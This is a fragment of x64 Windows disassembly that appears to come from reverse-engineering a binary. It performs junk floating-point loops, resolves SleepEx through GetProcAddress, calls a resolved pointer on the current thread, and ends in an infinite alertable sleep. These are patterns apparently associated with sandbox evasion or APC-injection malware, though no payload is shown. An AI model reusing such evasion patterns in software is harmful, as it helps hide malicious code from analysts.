subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x7a4]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7a4], xmm0
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x2ab
jle 0x140002904
movss xmm1, dword [rbp + 0x7a4]
movss xmm0, dword [0x14000660c]
mulss xmm0, xmm1
movss dword [rbp + 0x7a4], xmm0
mov rax, qword [rbp + 0x790]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x610]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x604], 0
mov ecx, 0x6f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x7a0], 0
jmp 0x140002afb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x604], edx
mov edx, dword [rbp + 0x604]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x604], eax
cmp dword [rbp + 0x604], 0x168
jle 0x140002a81
mov eax, dword [rbp + 0x7a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002af4
cmp dword [rbp + 0x604], 0
jns 0x140002aae
mov eax, dword [rbp + 0x7a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002af4
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x604]
movsd xmm0, qword [0x140006610]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x1bd
jle 0x140002a1a
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x608]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret